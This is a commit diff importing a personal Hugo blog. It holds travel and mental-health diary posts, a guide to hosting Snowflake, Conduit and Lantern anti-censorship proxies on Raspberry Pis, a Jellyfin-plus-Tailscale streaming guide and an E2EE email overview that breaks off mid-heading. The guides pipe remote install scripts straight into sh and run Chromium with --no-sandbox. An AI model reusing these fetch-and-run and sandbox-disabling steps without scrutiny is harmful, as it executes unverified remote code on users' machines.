Initial import of Hugo site to Forgejo

This commit is contained in:
Iman Alipour 2026-07-28 12:47:20 +00:00
commit cb1ba0317f
1259 changed files with 236349 additions and 0 deletions

View file

@ -0,0 +1,17 @@
+++
title = '2025 Highlight'
date = 2026-01-05T18:53:54Z
draft = false
+++
I just experienced my best two weeks of this cursed year. I went to 39c3 first, did 31.25h of Engel work, got to meet a bunch of extremely cool people, met the people I had made friends with from last year, and made new friends. No new contacts though. :)
Not only I got to see a lot of cool people, computers, projects, but also I attended many many cool talks and learned a lot. I also participated in a challenge that after solving I got a T-Shirt for. I also got myself a T-Shirt for my Engel work.
After this very magical event, I got myself an Interrail 4-day pass and visited one of my two besties in Vienna. He had two sweet roomies, who were cool and hospitable. It truely felt like I was back home. We went out a few times, visited Vienna, went to an all-you-can-eat Sushi, played Poker, watched few movies together, baked a pizza with homemade sause and dough. I also managed to visit ISTA and got to test my flipper zero by cloning my friend's NFC tag. It was an amaing trip that I will not forget. I think I got much closer to my bestie. We've been friends, but not that close at least in his eye. Though in mine he was my best friend before getting to meet my other best friend. ;P And yes, I do have two best friends. One lives in Vienna, and the other in Moen, Norway. They are just amazing people. We also did some cafe-hopping. Idk what about the trip was, but I enjoyed it so so incredibly much. I hope I see my friend more, and get to hangout with him more. There is a difference between those who are your real friends, and those who act like it for a bit. I think I'm getting better at knowing who my friends are, and who are there for the heck of it. Oh, and we also plated lots and lots of PS5, Fifa2026, Brawlhalla, etc..
Bonus: Remember I said we went to a Sushi place? I've been nagging people about going to a bar and practice flirting, they kinda say yes, but never do it. We saw an extremely beautiful girl in the Sushi place, and my friend told me if I'm so serious, I should go tell her. And you know what, I did. I approached her, told her and her friend that "we were eating across the hall, and I noticed how pretty she is!". They both smiled and thanked me, they truely glewed up!!! It was soooooooo sweeeeeeeeeet. I then wished them a nice evening and left. I didn't want to make it awkward by asking for a number, etc.. It was a beautiful memory, and I wanted it to stay beautiful. So hell yea. I noticed that my aura increased by a lot at least between me and the people we went to that place with. :D Yeeeehaaaaa.
---
{{< sigdl >}}

341
content/posts/blackout.md Normal file
View file

@ -0,0 +1,341 @@
+++
title = 'Blackout'
date = 2026-01-26T07:21:51Z
description = "I tried to be more useful, but when I couldn't, I found another way."
draft = false
+++
Ever since the latest Internet/communication blackout in Iran, I've been trying to get access to my box inside of the network. I went so far as to beg people to ssh into my box and deploy something that would give me a backdoor to my box, but little to no luck came out of it. Although Arvancloud opened their panel briefly, giving me access to do some digging, I got stuck at putting some sort of binary client on my box from their online panel. I tried to b64 the binary file and copypaste it via clipboard, and this caused their panel to crash (or it was just bad timing) — they haven't opened it again.
After getting more and more frustrated, I decided to put my hardware to good use, and host residential-ish volunteer proxies for people wanting to reach the free internet. I chose to host my beloved Snowflake, Conduit (since it became a hot topic), and Lantern. Heres how you can do the same if you decide to do so.
One important vibe check before we start: Im not giving anyone a custom “backdoor” into *your* network, and you shouldnt either. The whole point of the tools below is that theyre designed to work as **volunteer nodes** inside larger networks (Tor / Psiphon / Lantern), not as random open proxies you expose yourself.
# Running AntiCensorship Infrastructure at Home (Raspberry Pi, server, whatever)
I didnt set out to become a tiny piece of global internet infrastructure. I just had a couple of Raspberry Pis, a decent internet connection, and the uncomfortable feeling that access to information shouldnt depend on where you were born.
So I turned my Pis into helpers.
This post is about running **three different anticensorship tools** on Raspberry Pi hardware, quietly and continuously, without exposing scary open ports or babysitting terminals:
- **Psiphon Conduit** to help Psiphon users automatically
- **Tor Snowflake (standalone proxy)** to help Tor users automatically
- **Lantern Unbounded** a browserbased volunteer bridge, daemonized so it runs forever
Everything runs headless (or *headlessish*), survives reboots, and doesnt require me to log in every week just to check if its still alive.
---
## The philosophy: dont be a public server, be a volunteer node
A theme youll see throughout this setup is intentional modesty. Im not running an open proxy. Im not advertising an IP address. Im not routing half the internet through my house.
Instead, Im running software thats designed to safely integrate into bigger systems that already handle discovery, encryption, throttling, abuse prevention, and client UX.
Thats the difference between helping — and waking up to your ISP asking why your home IP suddenly became “a whole thing”.
---
## What you need (one time)
This guide assumes Ubuntu on ARM (Pi). It works on a normal server too.
First, install Docker (because containers are a gift):
```bash
sudo apt update
sudo apt install -y curl
curl -fsSL https://get.docker.com -o get-docker.sh
sudo sh get-docker.sh
sudo usermod -aG docker $USER
newgrp docker
```
Now make yourself a clean playground under `/srv`:
```bash
sudo mkdir -p /srv/{conduit,snowflake,lantern}
sudo chown -R $USER:$USER /srv/{conduit,snowflake,lantern}
```
I like `/srv` because it signals “service data lives here” and Im less likely to delete it while cleaning my home directory at 3am.
---
## Conduit: quietly helping Psiphon users (Docker)
Conduit is Psiphons volunteer “station” software. Once its running, Psiphons own network decides when and how clients use it. Theres nothing to configure, nothing to advertise, and no port forwarding required.
The important part is persistence. Conduit generates an identity key the first time it runs (`conduit_key.json`), and that identity builds reputation over time. If you lose it, you start from zero again.
### The file: `/srv/conduit/docker-compose.yml`
Create it:
```bash
cd /srv/conduit
vim docker-compose.yml
```
Paste this:
```yaml
services:
conduit:
image: ghcr.io/ssmirr/conduit/conduit:latest
container_name: conduit
restart: unless-stopped
# Keep keys and state across restarts
volumes:
- ./data:/app/data
# Optional: if you want a different bandwidth limit / max clients,
# you can pass CLI flags here (these are examples).
# command: ["conduit", "start", "-b", "4", "-c", "8"]
```
Then bring it up:
```bash
docker compose up -d
docker logs -f conduit
```
When its working, youll see things like:
- `[OK] Connected to Psiphon network`
- periodic `[STATS]` lines with Connecting/Connected counters (thats your “is anyone using this?” moment)
If you ever want to stop it:
```bash
docker stop conduit
```
Or “disable but keep everything” (recommended):
```bash
docker compose down
```
Or “delete it from orbit” (not recommended unless you enjoy rebuilding):
```bash
docker rm -f conduit
```
---
## Snowflake: Tor, but even quieter (Docker Compose)
Snowflake serves Tor users. Its explicitly designed to work behind NAT and CGNAT, which makes it perfect for home connections. The Tor Project provides an official Docker Compose file that includes **watchtower** for automatic updates.
### The file: `/srv/snowflake/docker-compose.yml`
You can download the official file exactly like this:
```bash
cd /srv/snowflake
wget -O docker-compose.yml \
"https://gitlab.torproject.org/tpo/anti-censorship/pluggable-transports/snowflake/-/raw/main/docker-compose.yml?ref_type=heads"
```
If youd rather create it yourself (its tiny), heres the same thing in readable YAML:
```yaml
services:
snowflake-proxy:
network_mode: host
image: containers.torproject.org/tpo/anti-censorship/pluggable-transports/snowflake:latest
container_name: snowflake-proxy
restart: unless-stopped
# For a full list of Snowflake proxy args, see the upstream docs.
# Example if you ever need it:
# command: ["-ephemeral-ports-range", "30000:60000"]
watchtower:
image: containrrr/watchtower
container_name: watchtower
restart: unless-stopped
volumes:
- /var/run/docker.sock:/var/run/docker.sock
command: snowflake-proxy
```
Start it (with auto updates):
```bash
docker compose up -d
docker logs -f snowflake-proxy
```
If you see:
```text
Proxy starting
NAT type: restricted
```
…thats totally fine. “Restricted” is normal for home NAT. If its running, youre helping.
If you get the “container name already in use” error, it just means you already have a `snowflake-proxy` container from a previous attempt. Fix it with:
```bash
docker rm -f snowflake-proxy
docker compose up -d
```
---
## Lantern Unbounded: a browser that helps people (systemd + Xvfb)
Lantern Unbounded is different: it runs in a browser (WASM + WebRTC), which makes volunteering frictionless… but also makes servers go “uhh… where is your display?”.
So we cheat — politely.
We run Chromium inside a virtual display (Xvfb) and supervise it with systemd. No monitor needed. No desktop clicking. It just… exists… and helps.
### Install what we need
```bash
sudo apt update
sudo apt install -y xvfb
sudo apt install -y chromium-browser || sudo apt install -y chromium
```
### Fix the X11 socket dir permissions (the annoying but essential part)
If you dont do this, Xvfb may throw:
`_XSERVTransmkdir: ERROR: euid != 0, directory /tmp/.X11-unix will not be created.`
Fix it once:
```bash
sudo chmod 1777 /tmp
sudo mkdir -p /tmp/.X11-unix
sudo chown root:root /tmp/.X11-unix
sudo chmod 1777 /tmp/.X11-unix
```
### The file: `/etc/systemd/system/unbounded.service`
Pick your username. On my boxes, its either `hub` or `rpi`. Use your actual user.
Create the service:
```bash
sudo vim /etc/systemd/system/unbounded.service
```
Paste this, and **replace `YOUR_USER`** with your username (e.g. `hub` or `rpi`):
```ini
[Unit]
Description=Lantern Unbounded (Xvfb + Chromium)
After=network-online.target
Wants=network-online.target
[Service]
User=YOUR_USER
Environment=DISPLAY=:99
Environment=XDG_RUNTIME_DIR=/run/user/%U
ExecStart=/usr/bin/bash -lc '\
/usr/bin/Xvfb :99 -screen 0 1280x720x24 -nolisten tcp -ac & \
sleep 1; \
$(command -v chromium || command -v chromium-browser) \
--no-first-run \
--disable-breakpad \
--disable-features=TranslateUI \
--autoplay-policy=no-user-gesture-required \
--use-fake-ui-for-media-stream \
--disable-gpu \
--no-sandbox \
--app=https://unbounded.lantern.io/ \
--kiosk \
--window-size=1280,720 \
--user-data-dir=/home/YOUR_USER/.config/unbounded-chromium \
--disk-cache-dir=/home/YOUR_USER/.cache/unbounded-chromium \
'
Restart=always
RestartSec=5
KillMode=mixed
[Install]
WantedBy=multi-user.target
```
Enable and start:
```bash
sudo systemctl daemon-reload
sudo systemctl enable --now unbounded.service
systemctl status unbounded.service --no-pager
```
If you see `Active: active (running)`, youve won.
### “It runs headless-ish, but how do I know its alive?”
The simplest “is it on?” checks:
```bash
systemctl status unbounded.service --no-pager
journalctl -u unbounded.service -f
```
And the “is it actually doing network things?” check:
```bash
sudo ss -tunap | egrep 'chrome|chromium|:443|:3478' || true
```
If you ever want to stop it:
```bash
sudo systemctl stop unbounded.service
```
If you want it not to start on boot:
```bash
sudo systemctl disable unbounded.service
```
---
## A note on safety, legality, and expectations
None of this makes you anonymous or magically protected from local laws. Youre contributing bandwidth and connectivity to systems designed to reduce risk — but you should still understand your own environment, and you should still be comfortable with what youre running.
The good news is that all of these tools are designed so youre not manually granting access to random people. Youre volunteering into networks that already do the hard parts.
Thats the part I like.
---
## The quiet satisfaction of it all
Theres something deeply satisfying about knowing that a small box on a shelf is occasionally helping someone read, learn, or communicate when they otherwise couldnt.
No dashboard. No vanity metrics. Just the occasional log line, quietly scrolling by.
And honestly? Thats enough.
---
## Some rants
I was unable to hear from my parents in the first two weeks of the blackout. In fact, the first time I heard their voices was a few days ago. Ever since then we've been able to hear each other over calls — not fancy digital ones, the shitty GSM stuff. I saw my mom's face for a few seconds on the first day she managed to connect to Psiphon, but after that no luck. :(
This is super sad and frustrating. I've not really been writing anything due to this. When I came back from my congress + Vienna trip, I've been dealing with this situation. It's just annoying. Let's cross our fingers for one of my fantasy mindcreated things come true. Things are so incredibly much better in my mind. I want to live in my mind and never come out. Uh... :(
---
{{< sigdl >}}

167
content/posts/boredom.md Normal file
View file

@ -0,0 +1,167 @@
---
title: "Movie Night Over the Internet: Jellyfin + Tailscale on a Raspberry Pi 4"
date: 2025-12-21T09:30:00+01:00
draft: false
description: "A cozy, slightly chaotic, very fun setup story: turning a Raspberry Pi 4 into a private movie-night server with Jellyfin, Docker, and Tailscale—starting on microSD and graduating to SSD later."
tags: ["raspberrypi", "jellyfin", "tailscale", "docker", "homelab", "movienight"]
showToc: true
TocOpen: true
---
Ok. Let me tell you the why first. So.... I was turning from one side to the other on my bed, going through YouTube. The thing that I used to silence my pain, to let the time pass, and to forget. But it didn't hit the same anymore. I was bored. Eternal boredom. Then the loneliness came back. It's funny how you can be in the middle of dozens of people, i.e., not alone, but still feel lonely. Anyway. I though to myself "let't message one of my two best friends", We eventually went into a google meet, talked and talked, and decided to watch a movie together at the same time. I told him I still have my Raspberry Pi lying around, let me put it to good use. Few hours passed, and I was ready. Here is what happened in those few hours.
I wanted the kind of movie night where everyone presses play at the same moment, laughs at the same joke, and groans at the same plot twist—even when were scattered across different apartments and time zones. I also wanted it to be a little nerdy, a little elegant, and the kind of project that makes you feel like you own your gadgets again. Enter: a Raspberry Pi 4 (8GB), Jellyfin, and Tailscale.
This post is the “how it went” and the “how to do it” version. Its written for the future-me who will forget everything the second it works, and for anyone who wants a private streaming setup without punching holes in their router for the entire internet to poke at.
## The idea
Jellyfin is the media server that turns your own movie files into a nice Netflix-like library. Tailscale is the secret tunnel that lets your friends reach your server as if they were sitting on your WiFi—without you exposing ports to the public internet. Docker is the little shipping container that keeps everything tidy and portable, which matters because I started on a microSD card and planned to move to an SSD later.
The trick to making a Raspberry Pi feel “fast enough” is to avoid video transcoding whenever possible. When Jellyfin can “direct play” a file, the Pi mostly just serves bytes. When it has to transcode, it suddenly feels like you asked a hamster to tow a car. So the theme of this build is compatibility: store media in formats that phones, browsers, and TVs can play directly.
## What you need
My setup uses Ubuntu (64-bit is the long-term-friendly choice), a Raspberry Pi 4, a microSD card to get started, and eventually a USB 3 SSD for real “server vibes.” Youll also want a folder of movies youre allowed to stream to your friends. Streaming DRM content from Netflix or rental platforms through Jellyfin isnt supported, and Im intentionally keeping this firmly in the “your own files” lane.
## Step one: choose a home for your stuff
Before installing anything, I picked paths that would survive my future SSD upgrade. The idea is simple: keep all persistent app data under one directory, keep all media under another directory, and let Docker mount those paths into containers.
On the Pi, I created a little directory neighborhood under `/srv`:
```bash
sudo mkdir -p /srv/jellyfin/{config,cache} /srv/media /srv/compose/jellyfin
sudo chown -R $USER:$USER /srv
```
If youre not ready to move movies into `/srv/media` yet, thats okay. The important part is that you pick a place you can later mount your SSD onto without rewriting your whole setup.
## Step two: install Docker and start thinking in containers
I installed Docker and verified that `docker compose` worked. After that, everything became a file called `docker-compose.yml` and the comforting feeling that I can rebuild my server from a single folder if life gets weird.
A typical install flow on Raspberry Pi OS looks like this:
```bash
sudo apt update
sudo apt install -y ca-certificates curl
curl -fsSL https://get.docker.com | sh
sudo usermod -aG docker $USER
newgrp docker
docker --version
docker compose version
```
Now for the part that feels like summoning a friendly daemon.
## Step three: Jellyfin, running happily in Docker
In `/srv/compose/jellyfin/docker-compose.yml`, I defined a Jellyfin service and mounted my config, cache, and media directories into it. The key mental shift is that Jellyfin can only see what you mount into the container. If you try to browse to `/home/hub/Documents/movies` from inside the Jellyfin UI and it looks like the folder doesnt exist, its not being dramatic—it genuinely cant see it. Containers are like that.
Heres a simple `docker-compose.yml` that works well on a Pi:
```yaml
services:
jellyfin:
image: jellyfin/jellyfin:latest
container_name: jellyfin
user: "1000:1000"
ports:
- "8096:8096/tcp"
- "7359:7359/udp"
volumes:
- /srv/jellyfin/config:/config
- /srv/jellyfin/cache:/cache
- /srv/media:/media
restart: unless-stopped
```
If your user isnt UID 1000, check it with `id -u` and `id -g`, then update the `user:` line accordingly.
I started Jellyfin like this:
```bash
cd /srv/compose/jellyfin
docker compose up -d
```
After that, Jellyfin lived at `http://<pi-lan-ip>:8096` on my home network, which is the most satisfying “its alive” moment of the whole build.
## Step four: Tailscale, the magic door for friends
Now comes the part that makes everything feel effortless. Instead of forwarding ports, configuring certificates, and hoping I didnt accidentally publish my server to the open ocean, I installed Tailscale on the Pi host.
```bash
curl -fsSL https://tailscale.com/install.sh | sh
sudo tailscale up
tailscale ip -4
```
That last command gives you a `100.x.y.z` address. Its your Pis Tailscale IP, and its the address your friends will use to reach Jellyfin. From anywhere, the server becomes:
```text
http://100.x.y.z:8096
```
Or if you enabled magicDNS:
```text
http://rpi:8096
```
The moment you can open that URL from your phone on mobile data and see your own server is the moment you start plotting your next homelab project.
If you want friends to access only this server and not everything else in your tailnet, Tailscale has a device sharing flow thats perfect for “heres the Pi, please dont look in the rest of my digital house.”
## Step five: create a Jellyfin user for your friend
Jellyfin accounts are local to your server. Your friend wont “sign up” on some global Jellyfin site; instead, you create a user for them inside your Jellyfin admin dashboard. The nice part is that you can give them access only to the libraries you want, and you can keep admin permissions to yourself.
If typing passwords on a TV app makes you feel old instantly, Jellyfins Quick Connect feature can make logins much smoother. Your friend gets a short code on their device, you approve it from your logged-in browser, and nobody has to poke letters into a remote control one by one.
## Step six: the secret to a smooth Pi movie night is Direct Play
A Raspberry Pi 4 is perfectly happy serving media files. It becomes less happy when it has to convert them on the fly. The goal is to store your library in a way that most clients can play without conversion.
For “plays on basically everything,” I like MP4 with H.264 video and AAC audio. When I inspected one of my files, I found H.264 video already, but the audio was AC3. AC3 is fine on some devices, but its not universal in browsers, and “my friend has no audio” is a movie-night mood killer.
The fix was to keep the video as-is and convert only the audio to AAC, which is much lighter than re-encoding the whole video. This command copies the H.264 video stream, converts audio to AAC stereo, and produces an MP4 thats friendlier to phones and browsers:
```bash
ffmpeg -i "500.Days.of.Summer.2009.1080p.BluRay.RARBG.FilmKio.mkv" -map 0:v:0 -map 0:a:0 -c:v copy -c:a aac -b:a 384k -ac 2 -movflags +faststart "500.Days.of.Summer.2009.1080p.mp4"
```
Subtitles deserve their own tiny cautionary tale. Some subtitle formats trigger transcoding because the client cant render them natively and asks the server to burn them into the video. Text-based SRT subtitles are usually the easiest path. If your MKV contains an SRT track, you can extract it and keep it next to your MP4:
```bash
ffmpeg -i "500.Days.of.Summer.2009.1080p.BluRay.RARBG.FilmKio.mkv" -map 0:s:0 "500.Days.of.Summer.2009.1080p.srt"
```
Once your friend is watching, you can confirm how Jellyfin is handling playback by checking the active session in the admin dashboard. Seeing “Direct Play” feels like winning.
## Step seven: SyncPlay, aka “we pressed play together”
Jellyfin has SyncPlay for “group watch” nights, and its wonderfully simple when everyone is using compatible clients. In practice, the web client is an excellent baseline because its consistent and easy for friends. When we do movie night, we start a SyncPlay group, join it from each device, and keep a voice call open for commentary and laughter. Its not complicated; its just… cozy.
## Starting on microSD, graduating to SSD later
Yes, you can run all of this on microSD to begin with. It works. It also feels like using a napkin as a hard drive if you add heavy-write services later. My plan is to move the system to an SSD when convenient, because SSDs are faster and they handle constant writes far better than microSD cards.
The reason the `/srv` layout is so helpful is that migration becomes a simple copy-and-mount story. When the SSD arrives, you can copy `/srv` to the SSD, mount the SSD at `/srv`, reboot, and your containers will come back exactly as before. Docker will happily reuse the same volume paths; Jellyfin will happily reuse the same library; and youll feel like a wizard who planned ahead.
## Where this goes next
Once Jellyfin and Tailscale are stable, its easy to imagine the Pi doing more. Pi-hole is light and useful. A smart home hub is fun. Nextcloud is possible, especially with SSD storage and some attention to databases and caching. The practical advice Im giving future-me is to add services one at a time and keep `/srv` as the center of gravity, because nothing ruins movie night like “I tweaked DNS and now nothing works.”
For now, though, this little Pi does the job: it hosts a library, it welcomes friends through a private tunnel, and it turns “lets watch something” into a real shared moment—even when were not in the same room.
Happy streaming.
The movie night went great, I even posted a BeReal on it. The choice of movie was not random either. I'll write a review for it later on. It was just amazing.
---
{{< sigdl >}}

View file

@ -0,0 +1,12 @@
+++
title = 'Confusion'
date = 2026-04-02T14:15:55Z
draft = true
+++
I don't know the why, the how, the what to do. The day started with many questions and many statements
---
{{< sigdl >}}

51
content/posts/cupid.md Normal file
View file

@ -0,0 +1,51 @@
+++
title = 'Cupid is so dumb'
date = 2025-11-04T19:35:16Z
draft = false
+++
The lyrics are being played in my brain day and night.
"A hopeless romantic all my life"
"Surrounded by couples all the time"
"I guess I should take it as a sign"
But... "I gave a second chance to Cupid"
"But now I'm left here feelin' stupid"
I might've given more than two chances to cupid.
But I'm still left here felling' stupid.
"I look for his arrows every day"
"I guess he got lost or flew away"
But does it matter anymore?
It shouldn't. It really shouldn't.
Now all these jokes aside, today I went to Mensa with my group. When eating, I saw a group of people who I've been trying to hang out with, and every time they tell me they let me know to join them, but today I saw them, they hadn't told me.
Funny how my mind jumps to conclusions quickly. Funny how I feel left alone so quickly. Or maybe it isn't funny, idk. What I do know however is that I'm hurt. There is a bit more to the story than that, but I don't want to open it up. It's way too personal to be opened.
The thing is, all of this is just badly affecting me. I cannot really focus on my work, and studies. Maybe I should consider doing more home office? Idk. It could be good though.
I've been trying to jump from one addiction to another, just to calm my senses, just to forget, just to move on.
I started with ordering unhealthy food from Uber, eating Tuna and Rice, skipping breakfast, watching crap on Youtube, but none of it help. I then went to thm, that has been helping a bit, but not enough.
I need to be productive at work, I need to take care of my health, I know if I do these, I will feel better about myself and this MDD will go away. Or at least I hope.
For now all I know is that I'm stuck in MDD, and I cannot get out of it. I'm glad suicidal thoughs are off the table. I'm just glad. They only thing I see is darkness, but I know it will change. The sun will rise. That reminds me, is the wind rising? No? Yes? If so, we need to live.
I think this is just so painful to me in the sense that I don't really have many friends that I consider as friends, and I'm being left alone from some groups that I don't necesserially wanna be a part of. But oh well, I should not care.
Credit: Cupid by FIFTY FIFTY
---
{{< sigdl >}}

17
content/posts/danya.asc Normal file
View file

@ -0,0 +1,17 @@
-----BEGIN PGP SIGNATURE-----
iQJMBAABCgA2FiEEVaKl3oR5K6zGyu4/tYgoUOBMjSoFAmkCfAoYHGltYW4uYWxp
cDIwMDFAZ21haWwuY29tAAoJELWIKFDgTI0q9xQP/3O+ZA+A1BJKzO+VhrIVoyE1
Z1w0Q9sLzW38TI3UC1t8mDeoWuyGTqTfBKP9SfZTarcAdKGAv5Wvn0YIuZP0CR7x
Wg6HleU8PYGCgyxZnW07acRjpt8P1ZajYrZ2UR+ZpAaV+dh7JXFfVGWtExFIN5c1
qI0HVnPzKewG7UYJ3dguGdP7aOk8pQfCAw1nxwiDVyyMia33jX971hMjjrDWcvdV
hsLZ3j7ZX+Wn9Li5WaPTCTj8KyTF9+URuBhDDyFLkwcjhBpbi97p6EFwm4MNy88D
29byFXVb5SGEraWAtW8Njvw6SSirfhjwB3GozLeSeCCQpWi0W6NL1fU1XA9SjTMC
jPvhHua6QSq1sipdlaNm0t8kahv17m8jajeWgfZPQssYWxp0q3g8eud6ZYpIUsfG
+HGafMBOpTqBgMvT4YVgMPOjV5LYQio3i2nL/zwgFuHeetoJnLe5R0xTp38uEwGw
omHMVP/yRsbgG0ka4xvNcKstERONcJa+A6NuqKHyv/ndB6CoNpGqnZUl8DjhsMGR
btZEfQKVMczQ6r1X6TrPSFeAMaUPjpVPn365hiwgYZfFotoFZ6eaHbFVDLLUxnkw
gpMlIOSJ0w5a+CkRZMbEOYI6/aZ0KgRxL5r2nxes6L2hPhcy1wL9vxR/6jjkeicz
TwDhY5qW8ZzrxZU9uWS1
=ftPQ
-----END PGP SIGNATURE-----

43
content/posts/danya.md Normal file
View file

@ -0,0 +1,43 @@
+++
title = 'Danya'
date = 2025-10-21T08:41:58Z
draft = false
description = "A sad note about someone I knew in the online world."
+++
Daniel Naroditsky has passed away.
I've never been a pro chess player, but I do follow some of the fun ones, and occasionally Magnus.
I like Fabi a lot, but my all-time favorite is Hikaru.
Danya was my favorite commentator.
Someone who was so fun to watch explaining complex positions.
I think he was indeed, if not the best, one of the best at it.
The occasion is grim.
However, let's remember the immense pressure he was under.
Let's remember how he was accused of cheating by Kramnik many, many times.
By a former world champion.
Someone who has accused many and has ruined their lives for no reason.
The likes of Hikaru!
The problem is that Hikaru kind of went out of his way and cast doubt on Hans in the past.
I don't know how to relate to any of these now.
I do think this is some stupid, sad consequence that these baseless accusations have.
All players have their exceptionally good days, and many many bad days.
These accusations make no sense.
I do think Danya went under so much pressure from these allegations, though.
I don't know if he ever cheated or not, but like, what's the point now?
He is gone.
He'll never be back.
I don't know what the cause was, but I hope he didn't take his own life.
I don't know how the world will ever forgive FIDE or Kramnik for this.
This bullying in plain sight is just brutal.
Rest in peace, Danya.
I don't think the community ever forgets your amazing commentaries, and what a vibrant and nice character you were.
---
{{< sigdl >}}

142
content/posts/e2ee.md Normal file
View file

@ -0,0 +1,142 @@
---
title: "Sending EndtoEnd Encrypted Email (E2EE) without losing friends"
date: 2025-10-30
draft: false
tags: ["privacy", "email", "e2ee", "proton", "tuta", "pgp", "s/mime", "gmail cse"]
categories: ["Privacy"]
summary: "A practical, mildly opinionated guide to sending encrypted email that normal people can actually read."
ShowToc: true
TocOpen: true
---
If youve ever thought “I should really send this **securely**” and then immediately remembered key servers, certificate stores, and that one time you bricked your GPG setup, this post is for you. Below is a **usable** path to endtoend encrypted email, roughly how each option works, and when to use which—sprinkled with a little fun so your eyes dont glaze over.
> Honestly, I don't know why one would settle down for a paid option, but if you want to, then be my guest.
## Why people *dont* use E2EE email (and why you still should)
Email wasnt designed for secrecy. It leaks metadata (who emailed whom and when), search and spam engines expect to read your messages, and traditional E2EE requires exchanging and trusting keys or certificates—things most people never think about. That creates friction, breaks “just works” expectations, and makes onboarding your accountant, landlord, and cousin Maddie… exciting.
But the **upsides** are huge: true confidentiality of message content and attachments, stronger **authenticity** (signatures!), compliance wins for sensitive data, and fewer “oops, wrong inbox” disasters haunting you forever. In short: if it matters enough to **hesitate** before sending, it probably matters enough to encrypt.
I mean, generally speaking one can use e2ee for anything, and not just email, but doesn't it feel cool if you sign your mail with your key, and if the receiver also has pgp keys, to send e2ee mail? No one knows what the two of you talk about, well unless there is a back door in your machine, buuuuuuuut assuming not, you're good to go!
## The contenders (and how they feel to use)
### Proton Mail (consumerfriendly, great crossprovider story)
Proton gives you automatic E2EE between Proton users. When you email someone on Gmail or Outlook, you can send a **passwordprotected message** that opens in a secure web page; you share the password outofband (SMS, Signal, etc.). If your recipient already uses PGP, Proton can speak that too. Daytoday, its just email—with an extra “lock” option when you need it.
**Prices (personal):** Free tier exists; paid tiers like **Mail Plus** and **Proton Unlimited** add storage, custom domains, and Proton Bridge for desktop clients. Expect **singledigit € per month** for personal use; business plans are peruser.
**How to use:** Sign up → compose → choose passwordprotected email for nonProton recipients or send normally to Proton addresses. Recipients can **reply securely** in the web portal—even without an account.
**Ups:** Lowest friction to message nontech people; slick apps; plays well with PGP if youre a power user.
**Downs:** Metadata like recipients stays visible across the wider email network; full power (Bridge, larger storage) lives behind paid tiers.
Honestly though, although I love proton and want to work for them, idk why you would want to pay for such services. If you use their other options, like custom mail domains, etc., then be my guest, otherwise just use Thunderbird! It's easy to use, and fun to show off.
### Tuta (formerly Tutanota) (privacy maximalist, subjectline encryption)
Tuta offers automatic E2EE between Tuta users and **passwordprotected emails** to anyone else. Its special sauce: it encrypts more by default in its ecosystem—including **subject lines**—and the whole suite is opensource and auditable.
**Prices (personal & business):** Free plan plus personal tiers (e.g., **Revolutionary**, **Legend**) and business tiers (**Essential/Advanced/Unlimited**). Personal is typically **low singledigit €/month**; business is **peruser, permonth**.
**How to use:** Create an account → compose → set a password for nonTuta recipients; they read and reply in a secure web page.
**Ups:** Max privacy posture; encrypted subjects between Tuta users; clean apps.
**Downs:** Some advanced mail protocols/features are intentionally limited; crossecosystem mail still exposes standard email metadata.
I was introduced to this one literally for writing this post, I had no idea it existed before.
### Gmail with **ClientSide Encryption** (CSE) (for organizations on Google Workspace)
If you live in Google Workspace, CSE brings real endtoend encryption to Gmail—**keys stay with your organization**. After admins set it up, users toggle encryption right in the compose window. Its the least disruptive path for big teams that already run on Gmail.
**Prices:** CSE is available on certain Workspace editions (e.g., **Enterprise Plus**, **Education Standard/Plus**, **Frontline Plus**). No extra permessage fee, but youll need a compliant key service and the right subscription tier.
**How to use:** Ask IT to enable CSE and your key service → compose in Gmail → turn on encryption for messages that need it.
**Ups:** Seamless for employees; centralized key control; good audit/compliance story.
**Downs:** Only for supported Workspace tiers; external recipients may need compatible tooling or a secure portal experience; not for personal @gmail.com accounts.
I mean... how much can you trust google and their non-open source client? I know some of my collegues here do use it, I won't. Not with the emails that matter to me.
### Outlook / Apple Mail with **S/MIME** (classic enterprise path)
S/MIME uses **X.509 certificates** instead of PGP keys and is deeply integrated into Outlook and Apple Mail. Inside one company (or between partners who exchange certs), its smooth sailing. Your IT can deploy certificates automatically so users never touch crypto knobs.
**Prices:** The tech is built in; costs come from **certificates**. Orgs often issue them internally; public CA prices vary.
**How to use:** Install/autodeploy your certificate → recipients share theirs → click encrypt/sign in Outlook or Mail.
**Ups:** Great inside enterprises; MDMfriendly; widely supported.
**Downs:** Exchanging certs across companies is clunky; personal certs can be confusing; mixed ecosystems require coordination.
Ok. Is there that big of a difference between these and Gmail? Idk. I ain't trusting non of it. But maybe the apple client I do partially trust. They seem to care about user privacy, or maybe they have brain washed me to believe so.
### Thunderbird + OpenPGP (free, powerful, nerdapproved—now usable)
Thunderbird bakes in **OpenPGP** and S/MIME. You generate or import a key once, and Thunderbird remembers which contacts can be encrypted. It even supports **protected headers/subject encryption** so the visible subject can be replaced with a stub while the real subject lives inside the encrypted part. For many privacyminded folks, this is the sweet spot of control and usability.
**Prices:** Free.
**How to use:** Install Thunderbird → create/import a PGP key → hit the little lock when writing to someone whose key you have. Done.
**Ups:** Full control, open source, works with any provider via IMAP/SMTP; subject protection available.
**Downs:** Initial key exchange still scares people; you may need to handhold contacts through setup the first time.
This is just the best. You can also have your calendars at one place. Also your contacts and everything else. They don't have iOS app which sucks, idk about Android.
### Browser addons: Mailvelope & FlowCrypt (bring E2EE to webmail)
If youre welded to webmail, addons can meet you where you live. **Mailvelope** brings OpenPGP to Gmail/Outlook/Yahoo and more, right in the browser. **FlowCrypt** focuses on a polished PGP experience for Gmail and Google Workspace, with business features and key management options.
**Prices:** Mailvelope is free/opensource. FlowCrypt has a generous free tier with **paid enterprise features** for teams.
**How to use:** Install the extension → create/import keys → compose in a secure editor injected into your webmail.
**Ups:** Zero provider switch; good for gradually introducing encryption to a contact list that lives in Gmail.
**Downs:** Browser crypto UX still has edges; enterprise key policy needs the paid tiers; fewer bells & whistles than a full desktop client.
Just no. Don't trust add-ons. Please.
## So… which should *you* use?
If you need to send a oneoff encrypted message to a **nontechnical person**, Proton or Tutas **passwordprotected email** is the friendliest: they click a link, enter the password you shared elsewhere, and can **reply securely** even without an account. For a **company already on Google Workspace**, turn on **Gmail CSE** so people dont juggle keys. If youre a **power user** or want provideragnostic control, go with **Thunderbird OpenPGP**—its free, modern, and interoperable. And if you wont leave the web, try **Mailvelope** or **FlowCrypt** to bolt E2EE onto the inbox you already use.
Honestly though, I would suggest thunderbird all day everyday, twice on Sunday. But that is just my view. If you fancy something else, well go ahead.
## A note on what E2EE hides (and what it doesnt)
